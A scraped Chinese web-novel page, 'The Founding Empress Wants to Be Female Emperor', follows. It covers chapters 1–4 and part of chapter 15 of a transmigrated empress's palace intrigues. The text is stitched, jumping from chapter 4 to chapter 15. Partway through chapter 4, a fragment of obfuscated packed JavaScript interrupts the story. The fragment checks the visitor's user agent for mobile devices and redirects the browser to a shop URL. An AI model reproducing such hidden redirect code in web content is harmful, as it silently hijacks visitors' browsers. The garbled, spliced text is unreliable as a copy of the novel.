《开国皇后要当女帝》 1. 第 1 章 《开国皇后要当女帝》全本免费阅读 “启禀娘娘,太子来给您请安了!” 听到这通禀,柳明月不禁头大,刚打发走一群各怀心思的妃嫔,她正觉心累不已。 本想私下独处片刻,稍作放松,却要再次强打起精神,应付原主的那个儿子。 随后走进殿内的少年衣着精致华美,五官清秀俊朗,气质儒雅温和,看上去玉树临风,很容易让人心生好感。 柳明月看着也挺欢喜,不过她认为这应该是原主留下的本能反应,毕竟她自身还是个未婚未育的单身女青年。 如今莫名其妙的突然接手原主的一切,面对原主的好大儿,她实在生不出什么慈母之心。 “儿臣给母后请安!” 没了天然的母子情做牵绊,柳明月也就无法像原主那样,对便宜儿子满怀包容与爱护,可是此刻不管是为了维持人设,还是为了将来,她便是装也要装个慈母。 “境文不用多礼,快过来坐,今日怎么来得这般早?” 太子徐境文道过谢后坐到一旁,态度恭敬的回话。 “回禀母后,父皇召张先生过去议事,儿臣今日便提前下学了,母后的身体可大好了?” 柳明月笑着点头,“好多了,你学业繁重,不必太过挂念我这边。” 说完,柳明月又按照原主的习惯,将太子的亲随召上前,仔细询问了一下太子近日的饮食起居,又嘱咐了几句,可谓是相当的关怀备至。 又安排宫人准备几样太子喜欢的食物,留其一起用过午饭后,才将其打发走。 转身往回走时,就见坤元宫掌事姑姑叶兰快步迎上前行礼问安。 周围的随行宫女太监见状,都很有眼色的退避到一旁,保持一定距离,任叶兰亲自陪伺在柳明月身边。 “太子殿下真是时时记挂着娘娘呢,难得早下学了一次,就第一时间赶来给娘娘请安。” 柳明月露出身为一位母亲,在听到别人夸奖自己儿子时,最常见的那种欣慰而又谦虚,还有些心疼怜爱的反应。 “这孩子确实是孝心可嘉,不过本宫刚才还在说他呢,他如今是身负重任、课业繁忙,可不能总惦记我。” 说话间,两人已回到延明殿内,叶兰这才转移话题。 “娘娘放心,邱宫令让人传话过来,那些人都已经安排好了,至于宫外,臣已按照您的吩咐安排下去,恐怕还要过些时日才能有消息。” 身为辅助皇后执掌宫务的宫令女官,邱月也手握后宫的人事安排与调动权,由于她是皇上亲自安插在后宫的心腹,做某些事更方便。 而皇宫内外,不仅隔了又高又厚的宫墙,还隔了无数宫规戒律,纵然是皇后,也不便将手伸到宫外。 好在如今尚处开国立朝之初,他们刚进宫不过三年,不仅宫规秩序尚不完善,原主还在宫外留下了许多人脉资源。 “不急,事缓则圆,人缓则安,急了容易坏事,虽说我们做这些,是为宽慰皇上,但若露了痕迹,引起误会,就不好了。” 叶兰笑着点头,“娘娘说得是,臣等定会让一切都如水到渠成般自然。” “邱宫令这次帮了大忙,你得让她知道,本宫都有记在心里。” “是,想来邱宫令也是因为理解娘娘的苦心,才会这般帮忙提供方便。” 柳明月满意的笑着颔首,随后便将精力放到那些待处理的宫务上。 面对这些没完没了的宫务,柳明月实在体会不到身为一国皇后大权在握的滋味,只觉心累不已。 因为那些宫务过来过去,大多都不过是宫中这些人的衣食住行,部分涉及到宫外内命妇的宫务,有的只需依旧例,有的需要皇上的旨意,或是两人商议着处置。 只因原主是个喜欢亲力亲为的,柳明月现在也只好硬着头皮天天亲自处理。 接到柳明月派人送去的瓜果时,邱月虽然面上不显,但是心情很好。 贴身伺候邱月的宫女冬灵边收拾那些瓜果,边有些不满的抱怨。 “姑姑,您帮了中宫那么大的忙,可是那边怎么毫无表示?” 这些瓜果虽是宫中一些低位妃嫔都没资格享用的难得之物,但以邱月的宫令之位,本就该有她的一份,只是没有明文写在份例中而已。 邱月淡淡扫了冬灵一眼,“话不可乱说,我念旧情,帮曾经一起共事过的姐妹们,尽量安排个好处去,乃是应有之义,这与中宫有何关系?” 负责在私下与坤元宫那边传消息的冬灵闻言,不禁心中一悸,脸色微变,赶紧请罪。 “是婢子不该自以为是,口出妄言,还请大人恕罪。” 邱月摆摆手,“希望你能引以为戒,且时刻记住,一心为陛下,方是你我在这宫中的立足之本。” 身为上位者,她没必要向手下人解释什么,只需摆出自己的态度,不时敲打约束一下他们。 冬灵态度恭敬的应下后,赶紧带着东西退了下去,暗自记下自己这次的失误。 作为因救驾之功而被皇上亲自任命的宫令,邱月本该是一心忠于皇上的人。 可她早前曾受过皇后的大恩,又因一直以来的职务,与皇后打交道多,对皇后的品性颇为了解。 虽不至于为皇后背叛皇上,但在后宫其他妃嫔与皇后之间,她当然是毫不犹豫的站皇后。 不过她绝对不会在明面上表露出自己的立场偏向,因为那不仅会让皇上对她心生芥蒂,更会危及她如今所拥有的一切。 对于素以处事公正却严厉而著称的邱宫令而言,现在的皇后像是突然开了窍,将她们之间往来的分寸拿捏得更好了。 在冬灵看来,她这个宫令按照中宫的意思,往各宫安排了一批嬷嬷与宫女,是帮中宫往各宫安插眼线,是冒险之举。 可是邱月自己心里却很清楚,她帮中宫安排的那些人,是谁的人,都不可能是中宫的人。 就算是将来暴露出来,也影响不到她什么,与中宫更无关系。 而中宫这次只讲谢,没以赏赐的名义送谢礼的态度,则让邱月更为满意。 真正的谢礼,往往都是无法用物质呈现,将来可能会被用在关键地方的人情。 纵然她是宫令,是皇上的心腹,也不会轻视一位皇后的人情分量,尤其是在那位皇后实现自我突破后。 柳明月尚不知道,她在彻底整合分析完原主的记忆后,尝试着迈出的第一步,已落入有心人眼里,并察觉到其中的巨大变化。 当然,这也是因为柳明月知道,就算她做的这个决定,会被了解原主的人察觉到不同,也能被理解。 她不知道自己如今是什么情况,莫名睡了一觉醒来,竟然莫名其妙的变成另一个人。 2. 第 2 章 《开国皇后要当女帝》全本免费阅读 常贵妃正是那位哭求皇上改立太子,让原主感到忧心如焚的宠妃。 对方不仅自身有宠,娘家势力也很强大,其父兄都很得皇上倚重。 柳明月拿这位当突破口,当然不是为了争宠、搞宫斗,毕竟她又不是原主,与徐庆业没有半点夫妻情义可讲。 而原主虽是徐庆业的原配发妻,曾在婚后前几年有过一段夫妻和睦的时期。 但在后来随着夫妻二人常处聚少离多的状态,以及一些现实因素,导致他们之间变得越来越生疏冷淡。 在徐庆业登基为帝后,倒是给了原主这个原配应有的身份地位与体面,他们的嫡子也从之前的王太子晋为皇太子。 然而随着新立的皇朝逐渐稳定下来,人心浮动,各种利益纠葛变得越发复杂,皇宫内外的形势也变得愈发严峻。 空有高位,却根基虚浮的原主母子,就不可避免的成了被盯上的目标。 原主当然很想改变这种状态,可惜,随着徐庆业逐步走上高位,乃至成为如今的一国之君,身边围绕着太多年轻貌美的女子,根本没给她留下挽回丈夫之心的机会。 如今换成柳明月,根本就没考虑过要挽回徐庆业,但她也需要从徐庆业身上谋取她想要的。 所以柳明月依旧按照原主的习惯,继续对徐庆业的衣食住行关怀备至,维持着贤妻、贤后的人设。 但在私下里,她已经开始利用原主留下的各种资源,开始进行暗地里的布局。 联络徐庆业往后宫安插的心腹耳目邱月,不过是其中看似走投无路,不得不走的一步而已。 次日,打发走宫中各处前来请示宫务的人,柳明月拿出自己准备好的奏章。 “下月底,需为孝慈仁皇太后的冥日祭典,卓辉,将这份奏章送去御书房,请示陛下,看是否需要增改。” 乾元宫的首领大太监卓辉略愣了一下,才连忙伸出双手接过。 “是,娘娘。” 卓辉恭敬的带着奏章离开后,侍立在一旁的大宫女红绣忍不住问出自己的疑惑。 “娘娘何不亲去御书房,与陛下当面商量此事?” 按照原主过往的习惯,是但凡遇到稍微重要些的宫务,皇上若未先做出指示,她便会亲自去御书房求见。 这样既能表达出她对相关事务的重视,也为从另一方面表明她不会擅权,以夫为天的态度。 “此乃本宫份内之事,陛下政务繁忙,本宫就不过去打扰了。” 孝敬慈皇后是徐庆业的祖母,在徐庆业登基后,为其上的尊谥,因今年是其去逝二十周年,按照习俗,需举行一场相对较为隆重的祭典活动。 而这种活动,只需皇帝一大家子参与即可,她身为皇后,需安排好各项物资准备,祭典流程及参与人员等。 红绣仍有些不解,但她看得出柳明月不想就此多说的态度,上前奉茶的同时,迅速转移话题。 “是臣愚钝,没能领会娘娘的苦心,邱宫令已将最新入宫的一批人手分到各处,婢子听说,即便如此,仍有几贵主不满,嫌身边伺候的人手少,不够使唤。” 听到这事,柳明月有些不悦。 在一旁整理文书的红绫注意到皇后皱眉,立刻接过话。 “都长着手脚,怎就需要那么多人伺候了,我们皇后娘娘处处勤俭,凡事亲力亲为,反倒是她们一个个的竟然摆起谱了,都忘了自己本是什么出身。” 徐庆业的那些妃嫔,正经出身好的只占其中一小部分,大多都是婢女爬床,或是手下献上的一些身份来历不明的女子。 柳明月不轻不重的看了红绫一眼。 “慎言,今昔不比往日,她们毕竟都是侍奉皇上的人,还轮不到你们置喙。” 红绫与红绣赶紧跪下请罪,柳明月摆摆手道。 “这次没有外人,就算了,你们要时刻记得,在外务必要慎言慎行,多听、多看,少说,言多必失。” 改朝换代涉及方方面面,前朝的宫人太监有近半死在这一过程中,活下来的那些也大多都被逐出宫外。 这也就导致新朝建立后,宫中各处人手严重不足。 毕竟刚经历过战乱的民间也人丁不丰,正需稳定人心的新朝,肯定不能强征大批宫女太监入宫。 而徐庆业这个开国皇帝在女色方面,可谓是颇为放纵。 登基封后之际,就有近二十位妃嫔,过去的三年里,又将这个数翻了一倍不止,还有一些只得宠幸未给位份的宫女子。 徐庆业染指的女子一多,宫里需要的人手也就更多,即便增加了一批又一批,仍显不足。 柳明月初到之际,正逢内务府最新选召的一批宫女太监在宫外接受各教导,如今分派下去后,也不过是杯水车薪而已。 不过即便知道那些妃嫔在抱怨伺候人手不足一事,柳明月也不打算做什么。 红绫的话虽然有些僭越,但也正是她的想法。 都有手有脚的,在包吃包住,包各种生活物资发放,还每月都有月例的情况下,还嫌身边伺候的人少,真是惯得他们。 依柳明月看,宫中明显存在极其严重的人力资源浪费现象。 可惜她现在尚处自身难保的阶段,有什么想法都得搁置,无权改变什么。 让柳明月没有想到的是,她的奏章呈上去后,徐庆业竟然亲自来了坤元宫。 “亲身见过皇上!” 这是柳明月第一次亲眼见到原主的丈夫徐庆业,一个身材中等,蓄着短须的中年男子,上位者的气势很足。 徐庆业抬手示意道,“皇后不必多礼。” 堪称是至疏的夫妻二人坐下后,稍作寒暄,徐庆业便直言来意。 “朕此番前来,是想与皇后商议祖母的祭典之事,朕幼时母亲身体欠安,是由祖母一手抚养长大,祖母待我恩重如山。” 即便这举行类祭典算是家事,但是正所谓是天家无私事,他们这些人在做某些事情时,更加的束手束脚。 因为有太多双眼睛盯着他们,记录他们的言行,随时都能拿出圣贤书或旧例中的条款,指责他们何处违制、哪里失仪。 柳明月派人呈上去的奏章中所做的各项安排,可以说是相当周全与完美,毕竟她有结合相关旧制。 徐庆业也很明白这一点,所以他纵有私心,也不便直接在奏章上表达出来,因为那样容易落人口实。 3. 第 3 章 《开国皇后要当女帝》全本免费阅读 从礼制上讲,徐庆业的祖母不过是位被追封的先人之一,在宫中,这类祭典可办可不办,即便办,规格有明确限制。 说到底,徐庆业就是怀着‘孙子出息了’的心态,遗憾其祖母未能在生前享他的福,就想在其祖母去逝二十周年的祭典上,稍做弥补。 可是为了不落人口实,他不便直接提出来。 毕竟徐庆业身为皇帝,理当在这个首重孝行的时代,以身作则。 他最亲近其祖母,但是一同被追封的还有其曾祖父夫妻、祖父、父母等先辈,不管是出于哪方面考虑,都不宜将每一位的祭典都逾制大办。 所以他虽有心让自家祖母享受最高规格的祭典待遇,但也只能私下找柳明月商量,让她出面帮忙做成此事。 柳明月作为经办人,只要她不惧能力被质疑,名声略微受损,纵然逾矩一些,也能以‘孝心可嘉’来过关,影响不大。 原主可能会在意这么做,会给她的‘贤后’事业带来的负面影响,或者说是留下隐患,但是柳明月可不在乎。 她更在意这么做,能给她带来的一些正面好处。 首先就是徐庆业的态度,很显然,她这次知情识趣的积极表现,让对方十分满意。 而徐庆业满意了,不仅能给她争取到更多低调发育的时间,还能向皇宫内外传递出一个信号,她柳明月终究是皇后,地位尚稳。 明白徐庆业的那点隐晦心思后,柳明月心里就有数了,她又迅速写出一份新方案,让人于次日送了过去,不过这次不再是正式上书。 在新方案中,不仅提升了原定计划中的礼器规格,还将相应礼器的数量增加了一些,参加祭典的人员名单也得以扩充。 除此之外,又增加了一些本没有的内容。 徐庆业在收到新方案后,给出的反应是以表彰皇后操劳宫务辛苦的名义,令何忠亲自带队往坤元宫送了一批赏赐。 看到赏赐清单中的物品,大多都是各地最新送入宫内的贡品,柳明月很想说,这丫的完全是在拿夫妻共同财产糊弄人。 当然,这只能是她自己在心里吐槽一下而已,从坤元宫的上下都为此感到欣喜不已的反应中,不难看出,这里的人根本没有夫妻共同财产的概念。 能被当做贡品呈入宫内的东西,肯定都是些难得一见的珍宝。 好东西谁都喜欢,柳明月不用装,就能表现出她应有的欢喜之情。 不过她毕竟是皇后,肯定不能眼皮子浅,让人看出她的欢喜真的是为那些好东西。 尤其是当着皇上的心腹大太监何忠的面,她要让对方知道,她是为得到皇上的肯定而感到无比激动与欢喜。 所以她当即在现场写了一份言辞恳切的谢恩折,亲自递给何忠。 “本宫不过做了些份内之事,竟得陛下如此肯定,实在是受之有愧,有劳何总管帮忙转达本宫的感激之情。” 初次见到这种操作,何忠略愣了一下,才笑容谦和的接过折子,态度明显恭敬了不少。 “娘娘有心了,臣一定会向陛下如实转达娘娘的心意。” 送走何忠一行人后,专业本能让柳明月很想上前亲手‘鉴定’一下那些东西,但她为了维持人设,只能淡定的对那些东西做出应有的安排。 却不知何忠在走出坤元宫后,竟然下意识转头看了一眼身后的宫门。 邱月能通过一份名单看出皇后思想上的转变,何忠亲自跟柳明月打过交道后,当然也能在第一时间察觉到其中的变化。 毕竟这两人虽然都是皇上的心腹,但论水平与地位,邱月绝对无法与大权在握的何忠相提并论。 接过由何忠帮忙呈上去的谢恩折时,徐庆业十分意外。 “你是说,皇后当即写了这份谢恩折?” 何忠态度恭敬,语气肯定的回道。 “是的,陛下,这是微臣亲眼看着娘娘当场写下的。” 翻开折子,看到谢恩折的内容,让徐庆业生出些难以言喻的微妙情绪。 当了三年皇帝,徐庆业当然看得出来,这是一份措辞严谨,极其标准的谢恩折。 也正因如此,他才感到心情复杂,却还说不出什么,即便这代表着,他的妻子选择将他们的夫妻关系,彻底定义为君臣。 不过这点感慨随之就被抛到一边,反正对他而言,这样比以前更方便省事。 何忠稍作迟疑后,小心提议道。 “陛下,您看,是否需要派人查一下?” 徐庆业意兴阑珊的摆摆手,“不必,她是大族出身,将声誉和规矩看得比什么都重,如今更是一心要做贤后,朕肯定要成全。” 前提是她能一直像这次的祭典之事般,知情识趣的好好做事。 不再像从前,总试图利用皇后身份与宫权‘劝诫’他该怎样做,要守什么礼规,让他烦不胜烦,还不自知。 何忠闻言,也没有坚持,他也知道,皇后能想开,并且主动做出改变,其实是件好事。 他很清楚自己的定位,只一心忠于皇上,尽量避免与后宫有牵扯。 皇后的品行无可指摘,对皇上的心意也是有目共睹的,最大的短板,就是不够聪明,掌握不好与皇上的相处方式,从而导致二人之间渐行渐远。 何忠比谁都了解他的主子,知道皇上其实也很重视名声,想当一位明君。 所以在皇后没有犯下什么大错的前提下,皇上不会无端动她,从而在史书上留下薄待发妻的骂名。 但是何忠总觉得,两人继续那么相处下去,皇上迟早会在有一天忍无可忍,抛开一切顾虑。 说到底,自诩对原主足够了解的二人,都没将原主放在心上。 纵然发现了柳明月的变化,首先考虑的也是这种变化对他们是否有利,不会对此生出什么忌惮与防备之心。 毕竟原主是个非常典型的传统女子,即便拥有一些私心与手段,在其任由自己被礼教与规矩给牢牢束缚住后,也注定影响不到他们什么。 柳明月表现得很坦然,不过她还是让自己的周围保持外松内紧的状态,盯紧一切可疑之人,及时查清他们背后的人际关系。 祭典的新方案得到皇上的肯定后,即便距离正日子还有一个半月,柳明月也需提前将相关事宜安排下去。 “……玉妃、江妃、容嫔,本宫听说,听说你们的字都写得很好,就由你们三人负责抄经,这是抄经要求,希望你们能严格按照上面的条例执行。” 被点到名的三位妃嫔愣在原地,皇后竟然让她们抄经?这让她们都感到很不悦。 毕竟在大家的认知中,除非自愿,抄经在大多数时候都代表着被罚,她们这可谓是无端受罚。 纵然柳明月在事先解释过,这些都是为下月底的祭典。 “启禀皇后娘娘,臣妾近来身体不适,恐怕无法担此重任,还请娘娘另择贤能。” 江妃率先婉拒,柳明月不动声色的看向对方。 “江妃可要想清楚了,能有幸为皇祖母的祭典多做些事,乃是我们这些后辈的荣幸,皇祖母一生向佛,本宫希望,到时能多供些 4. 第 4 章 《开国皇后要当女帝》全本免费阅读 还能有什么异议,众妃嫔离开坤元宫时,心情都很复杂,大半人都憋着一肚子火。 需为这次祭典做的那些在她们看来,不仅低贱还晦气的活儿,就已经很让她们感到憋屈了。 没想到皇后在常贵妃的质疑下,竟然直接将其常态化,这也就意味着,她们要在将来抄诵无数经文,折无数冥钱。 毕竟宫中一年到头从不缺各种祭祀活动,祭先辈、祭天地神灵等。 一时之间,有些妃嫔忍不住在心中责怨起皇后与常贵妃,尤其是常贵妃。 可是她们就算有意见也只能憋着,毕竟这两人,一个占着名分与大义,一个有宠,且娘家势力是朝中新贵势力代表。 这是这些天来,每次与前来请安的众妃嫔交锋过后,柳明月第一次心情很好的回延明殿。 因为此前她不仅要维持原主的人设,还要顾虑着皇上可能会有的反应,不管是在给众妃嫔断官司,还是应对她的各种针对时,都需一忍再忍。 而这次,她不仅以绝对的优势,将这群闲着没事干,就知道找茬生事儿秀存在感的女人,都给镇压了下去,还为她们都派了活干,应当能让她们消停点了。 唯一让柳明月感到遗憾的是,能取得这场胜利,所依仗的是徐庆业的势,而不是她本人的。 徐庆业下朝后回到御书房,听说皇后一大早就派人呈了份奏折上来,不禁有些意外,皇后近日上折的频率有些过高啊。 去换下朝服后,徐庆业才来到御案后,拿起柳明月的奏折。 何忠已经问清这份奏折的诞生过程,在一旁低声介绍了下这份奏折的出现背景。 “……娘娘在当时就说了,她虽是因为话赶话,但她也是因为觉得此举甚妙,才临时决定,将本来只是为下月祭典所做的安排,以宫规条例常态化。” 徐庆业已迅速看完内容,深思片刻后,放下奏折的同时,拿起笔蘸墨。 “朕也觉得此举甚妙,皇后之孝行,不仅要重赏,还应发文昭告天下。” 作为草根出身的皇帝,他深知那些出身世家大族的大臣与妃嫔们,即便不得不臣服,实际上内心里多少都有些看不起他。 那些人连他这个皇上都瞧不起,当然更瞧不起他那些被追封的先辈。 也是直到此时,徐庆业才真正意识到,皇后的出身虽然比他好些,但是她的处境其实跟他差不多。 要不然,她身为皇后,不至于被那些妃嫔逼到当场给他上奏立新规的地步。 而皇后所奏请的新规,则让徐庆业看着十分舒心,因为这条新规十分合他心意。 那些妃嫔出身显赫又如何,只要他与皇后下令,她们就得照做,就得亲自为他祖母备祭礼。 即便他的祖母出身贫寒、死于贫寒,如今也有资格接受那些自诩高贵之辈的祭拜,且这还只是一个开始。 这就是他不惜代价打天下,坐上这个皇位的意义所在。 只是他在当上了皇帝后,才发现皇帝也有着很多的身不由己,做不到随心所欲。 因为他的一言一行都有无数人盯着,稍有疏失,就有可能损及他的帝威,乃至影响他的皇权统治。 在这种情况下,他的一些隐晦心思,根本不敢让人察觉。 却没料到,皇后竟然歪打正着,以这种光明正大的方式帮他实现了。 至于连他的宠妃在内,后宫众妃嫔从此都多了活儿干,多少都有些辛苦的事,徐庆业压根就没放在心上。 何忠算是最了解皇上的人,可他在此前也没察觉到徐庆业的某些心思,不过通过这次事,他好像隐约有些知道了。 这也让他忍不住暗自思忖,皇后能做出这么个能完美迎合皇上的安排与决定,到底是有心还是无心的呢? 若是无心,算是对方运气好。 若是有心,这里面所透露出的信息,就重要了。 皇后与皇上毕竟是原配夫妻,她在某些方面比常人更了解皇上,似乎也说得过去。 不过不管真相如何,何忠都已做出决定,以后要尽量与中宫保持相对较为友好的关系。 皇上既然决定要将皇后立下的亲规,当做功绩昭告天下,肯定会用无数溢美之词表彰她的孝行。 ‘七出三不出’中尚有凡有条‘与更三年丧’,凡为公婆守过三年孝者不得休弃的条例,皇后的孝行传天下后,她的位置可就基本稳了。 因为这将意味着,只要皇后本人不出重大意外,无论太子未来如何,皇后都能稳坐后位,乃至将来的太后之位。 同时,何忠也很清楚,皇上现在也确实需要这么一位能被当标杆的皇后,为他稳定民心,从而缓解朝堂上的一些压力。 所以何忠不仅没有提出异议,接过那份已得到批阅的奏折的同时,口中还恭维道。 “陛下圣明,皇后娘娘仁孝之心诚挚,才会有此孝行,堪为天下之表率,微臣这就将奏表送到礼部,着他们尽快拟文昭告天下。” 何忠什么都不问,直接对他的这个决定大加肯定的反应,让徐庆业很满意。 “嗯,速去速回。” 心情极好的徐庆业在当天没有驾临后宫,让后宫那些急于告状和抱怨的妃嫔们,都失望不已。 第二天,还没等她们想好要怎么做,才能让皇上知道她们的委屈与抗拒,从而驳回皇后上的那道奏折,就迎来了一个晴天霹雳。 刚到众妃嫔来坤元宫请安的时间点,也就是众人齐聚一堂之际,何忠便亲自带着两份圣旨与大量赏赐前来。 第一份圣旨在重点嘉勉皇后的孝心与贤良之余,也顺道夸了众妃嫔两句,鼓励她们要在皇后的带领下,多做这种于国于民教化有利的好事。 第二份则是直接给江妃降位,训斥江妃不该目无尊长,不孝先辈,不尊中宫皇后的圣旨。 两份内容截然不同,却透露出同一个信号的圣旨,先是让众妃嫔感到心有不甘,后来则是后怕不已。 第一份圣旨让她们觉得,明明是皇后踩着她们的彰显孝行,皇上不仅不阻止,还这般夸赞皇后,实在不公。 可是第二份圣旨中,对江妃的严厉处罚与斥责 ,让她们都不得不明白一件事,那就是她们若敢对这件事心存抗拒与怨怼,那下场未必会比江妃好。 毕竟江妃可以说是后宫除常贵妃外,最受宠的妃嫔之一,家世算不上最顶尖的那批,还不曾孕育过子嗣,就已被晋升到妃位。 在场妃嫔都没有真正笨的,从何忠亲自传达的这两份圣旨中,领会到皇上的态度后,她们迅速变得无比乖顺。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12909342|136096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可是即便如此,他们自身也不得承认皇后之贤。 也就这么着,皇后在某些方面的信誉和口碑,无形之中就被正式树立起来,且在许多人的心中生根发芽。 赵家派进宫的有赵大夫人与赵母两人,二人先去坤元宫后,没有多做停留,就被带到赵婕妤暂住的湖景阁。 看到自家母亲和大伯母的到来,躺在床上养胎的赵婕妤虽觉有些心虚,但她更多还是感到喜悦。 “大伯母、母亲,你们来了,不必多礼,快请坐。” 看着她女儿现在只能仰卧在床上,赵母心疼之余,也难免气恨女儿不争气。 “娴儿,不过月余不见,你怎么就那么不听话,将自己弄成这个样子呢?” 赵大夫人从旁道,“三弟妹,君臣有别,不可失礼,不知娘娘可好些了?” 有她大伯母帮忙解围,赵婕妤松了口气,让周围侍立的人都退出去后,才赶紧回道。 “好,好多了,有劳大伯母和母亲惦念,幸有皇后娘娘仁慈,赐了恩典,让我能见见亲人。” 赵母再次忍不住抱怨道,“上次见面时,我还跟婕妤娘娘说,皇后娘娘考虑事情周全,你只需听从皇后娘娘的安排……” 话未说完,就见一名医女带着两名宫女过来。 行过礼后,其中一名宫女动作熟练的递过去一碗汤,赵婕妤也习以为常的接过一饮而尽。 那名医女随即呈上提前备好一页纸,赵婕妤在上面勾了几下,又写下几个字后,才交还给对方。 等到三人退下去后,赵母忍不住问道。 “婕妤娘娘刚受过冲撞,正值关键时期,这药食方面,尤其要小心,怎可不做任何检查,就直接服食呢?” 赵大夫人也有类似担心。 赵婕妤心情有些复杂的回道,“母亲之前不是还在埋怨女儿,不听皇后娘娘的安排,才惹来此祸,听说为保证这些药食的安全,皇后娘娘制定了严格的流程,从最初的食材检测,到被送到食用者手中,都需层层签字确认,在此期间,需保证每一个步骤都不离开至少三人的视线。” 例如她在刚才喝完那碗汤后,需要勾选确认汤中是否有异味,送到她手中的时间是否与以往相同,送汤人员是否有变等,最后再签上她的名字、时间。 赵家妯娌二人闻言,只觉是在听天方夜谭,哪有过日子这么费劲的? 赵大夫人忍不住质疑道,“不是说,宫中人手不足吗?” 赵婕妤苦笑着回道,“也不是每个人都需如此仔细,目前能享此待遇的,除了几位年幼的皇子公主,妃嫔中只有我与胡才人,以及身体向来不好的陈妃。” 赵母赶紧道,“皇后娘娘果然如你四婶所说,是位名副其实的贤后,有她在,你只需听话照做,就安安稳稳的,你这次也算是受了教训,可不敢再擅作主张了。” 赵大夫人也点头附和道,“三弟妹说得对,婕妤娘娘一定要听在心里,你大伯父说,由于这次的事,你自己要负首责,皇上和皇后娘娘都有些不满,家里也不好做什么,只盼着婕妤娘娘能放下一切,专心保胎。” 再不要做任何多余的事。 赵母和赵婕妤还没想到,赵大夫人却已从皇后制定的那些严格流程中,领会到对方会有此举的意图。 那就是提前做好一切防范,这些被重点关照的人,若是还有个什么不好,说严重点,就是即便死了,人家都概不负责。 那位贤是真贤,这手段也确实是真高明,一切都是那么的坦坦坦荡荡,经得起任何质疑。 赵大夫人也是在听过她丈夫的分析后,才知道到皇后所制定的一条条宫规守则的高明之处。 尤其是那条:但有违背,后果自负,成功让皇上、皇后免责。 15.第 15 章 赵婕妤遇袭一案的调查,进行得还算顺利,只因其中还牵扯到一桩旧案,并且牵扯到宫外的一些人,才多花费了一些时间。 毕竟后宫被一再梳理,柳明月又用防患于未然的态度,制定出许多十分严谨的宫规条例,将过往许多让人难以察觉的阴暗角落,都给暴露在阳光之下。 若不是柳明月高估了赵婕妤本该拥有的最基本的常识储备,根本不至于发生这回的事。 而赵婕妤身边的那个梅香,已被证实,她确实不曾与外人勾连,只是轻信了她老乡的建议,想用另辟蹊径的方式讨赵婕妤开心,以期能够提升自己在赵婕妤身边的地位,如今她的私心已酿出恶果,她必然要为自己的言行买单。 最终查实,想要算计赵婕妤的,是景安宫的许昭仪。 “若本宫没有记错的话,那许昭仪似乎与赵婕妤之间的关系不错?” 不仅这两位在后宫的关系不错,她俩的娘家,许家与赵家的关系也很不错,是有数代联姻的老亲家。 芳仪躬身回道,“是的,娘娘,许赵两家是祖籍在同郡的世交,许昭仪是在承天元年进宫的新人,进宫后得到赵婕妤的不少照顾,不过许昭仪要更受宠些,去岁因孕被晋封为婕妤,却在还未正式传出喜讯,怀孕将要满三个月时意外流产,由此被晋封为昭仪。” 柳明月拨动着手中的小叶紫檀珠串,淡淡说道。 “有这脑子,干点什么不好,这件事牵扯重大,本宫不好擅夺,且先不要声张,将所有案卷都呈到乾元宫,具体要如何处置,交由皇上亲自定夺。” 没有当皇上的喜欢看到手下大臣结党,许家与赵家之间的关系越好,皇上会越不放心,想来徐庆业不会放过这个机会。 事实也确实如此,接到皇后派人送过来的案卷,知道皇后是在将此事调查到许昭仪身上后,迅速暂停调查,直接将案卷都送了过来,目前没做任何处置,也没走漏消息,徐庆业十分满意。 前朝势力从来都与后宫息息相关,说是一个不可分割的整体都不为过。 这也是柳明月在发现赵婕妤脑子不清楚时,召其家人进来劝说的原因。 现在将调查案卷交上去,则是相当于让徐庆业拿捏住许赵两家的把柄,操作得当,还能因此而让两家彻底起分歧。 毕竟两家之间不仅夹着一个已经消失了的皇嗣,现在又多了一个未必能保得住皇嗣。 更重要的是,即便那两家可以无视这相互拆台的仇怨,皇上也能以最大的受害者身份,拿着他们两家的妃嫔在后宫残害皇嗣的证据,稳坐钓鱼台。 看完案卷中记录的所有内容及证人证词,徐庆业忍不住感慨道。 “朕还真未想到,赵婕妤遇袭的背后,竟然还藏着这么一段旧怨,还真是人不可貌相。” 在他的印象中,许昭仪和赵婕妤都不过是看上去人畜无害的年轻女子,却没料到,这两位都是能在背地里对人下黑手的狠角色,而且他若没有记错的话,这两人平日里似乎总以姐妹相称,关系十分亲近的样子。 而这两位是被查出来了,没被查出来的不知还有多少。 徐庆业不算太缺儿女,所以他对那些悄无声息消失的孩子,没有什么感情可言。 身为从乱世中崛起,且在诸侯争霸中走到最高处的赢家,他也没有多强的道德感,所以他在知道这件事后,虽然有些生气愤怒,但也没什么伤心遗憾之类的情绪,随即想到的就是要如何好好利用这些把柄。 哪怕现已清楚的知道,他后宫的那些女人中,还藏有许多食人花的事,他也没那么在意。 当然,徐庆业还是知道那些恶行是不能放纵的,所以他一边召见许赵两家的人,借题发挥,一边派人不分轻重程度,一律严惩那些涉事之人。 当柳明月收到消息,知道乾元宫那边最终将案件定性为宫人之间的私怨,赵婕妤是被人误伤的时,她就知道,事已到此为止。 听完卓辉的汇报,柳明月神色平静,叶兰却有些担心,小心安抚道。 “娘娘,陛下应该是因考虑到前朝情况,才会这般为她们遮掩,您实在没必要再为这件事烦闷。” 重点是别再一怒之下去找陛下理论,皇上做事自有其目的,娘娘就算是按规矩据理力争,也于事无补,还总是惹得皇上不高兴,夫妻关系也变得更为冷淡。 难得皇上近几个月态度有所转变,对皇后的态度亲近了许多,叶兰实在担心皇后一气之下,又像以往那般,又去找皇上理论。 柳明月当然知道叶兰在担忧什么,为了不太崩人设,她难掩无奈的叹了口气道。 “早在将案卷都呈上去时,本宫就已做好不再过问的准备,现在也没改变想法,毕竟真要说起来,这些人和事,都和本宫没干系。” 彼此相互下黑手的两个女人,都是皇上的小老婆,被伤害的也都是皇上的孩子,非要生拉硬拽的话,才能勉强算是她这个嫡母名义上的孩子。 可是只要她对那两个还未出生的孩子没半点感情,这件事情就半点都伤害不到她,更影响不到她什么。 叶兰闻言,难掩惊喜的表示附和。 “娘娘说得是,娘娘能想得开这些,真是太好了。” 